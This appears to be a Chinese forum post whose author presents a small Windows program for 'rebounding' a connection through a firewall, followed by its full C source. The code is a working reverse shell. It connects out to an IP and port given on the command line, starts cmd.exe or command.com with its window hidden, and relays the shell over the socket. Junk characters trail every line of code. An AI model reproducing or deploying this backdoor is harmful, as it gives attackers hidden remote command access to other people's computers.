这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \K6J{;# L
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/* ============================== NS q=_8
Rebound port in Windows NT U ~m.I
By wind,2006/7 zMKL: Um"
===============================*/ St`m52V(5X
#include >=H8>X
#include ${wE5^ky
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#pragma comment(lib,"wsock32.lib") 67x^{u7
keOW{:^i
void OutputShell(); Vd4osBu{fY
SOCKET sClient; #pfosC[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4lCm(#T{,
sXxO{aeev
void main(int argc,char **argv) R{_IrYk
{ ny= {V*m
WSADATA stWsaData; Q_.Fw\l$`
int nRet; &u-Bu;G.e
SOCKADDR_IN stSaiClient,stSaiServer; $ *A3p
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if(argc != 3) [2V/v
{ &v,p_'k
printf("Useage:\n\rRebound DestIP DestPort\n"); Vi WgX.
return; ?M^t4nj
} 5eA]7$ic
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WSAStartup(MAKEWORD(2,2),&stWsaData); H9Q7({v
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?J@qg20z
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stSaiClient.sin_family = AF_INET; LiD |4(3
stSaiClient.sin_port = htons(0); LYg$M@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _JJKbi
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I=
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{ 0$ 9;pzr
printf("Bind Socket Failed!\n"); 9'#.>Q>0=j
return; e$+f~~K
} a05:iFoJ
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stSaiServer.sin_family = AF_INET; - b\V(@5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @*O{*2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); maUHjI
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}42qMOi#w1
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vs])%l%t
{ <Z:8~:@
printf("Connect Error!"); pebx#}]p-
return; |k
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} @W\4UX3dK
OutputShell(); ddq 1NW
} l&??2VO/t
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void OutputShell() P[I*%
{ d?&!y]RS#
char szBuff[1024]; "K+N f
SECURITY_ATTRIBUTES stSecurityAttributes; vgA!?P3
OSVERSIONINFO stOsversionInfo; fZV8o$V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +V);'"L
STARTUPINFO stStartupInfo; U]! .~ji3
char *szShell; xe gL!
PROCESS_INFORMATION stProcessInformation; ?+,*YVT
unsigned long lBytesRead; RTgA[O4J
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u->@|tEq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g t^]32$
stSecurityAttributes.lpSecurityDescriptor = 0; 2VV[*QI
stSecurityAttributes.bInheritHandle = TRUE; ,KhMzE8_a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #ON#4WD?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3aE[F f[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R2Rstk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ICl_ eb
stStartupInfo.wShowWindow = SW_HIDE; o(d_uJOB
stStartupInfo.hStdInput = hReadPipe; zJuRth)(,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4)odFq:
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GetVersionEx(&stOsversionInfo); N5f0|U&
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switch(stOsversionInfo.dwPlatformId) <5ft6a2fQ
{ %eJ\d?nw
case 1: 3r-Vx P 5n
szShell = "command.com"; [}p
break; _/jUs_W
default: Ku0H?qft(
szShell = "cmd.exe"; .kbr?N,'
break; 0/SC
} L*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B3cf] S%
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send(sClient,szMsg,77,0); t(j_eq}J
while(1) ,a9D~i 9R
{ *dG}R#9Nv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FYXw$7'l
if(lBytesRead) T\2) $
{ +24|_Lx0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3b|7[7}&
send(sClient,szBuff,lBytesRead,0); o%Uu.P
} >
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else N
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{ O>SuZ>g+7
lBytesRead=recv(sClient,szBuff,1024,0); i?a,^UM5n[
if(lBytesRead<=0) break; (0OSGG9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oN[Fz a>
} tKG;k"wk
} "GwWu-GS
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return; VBbUl|X\
}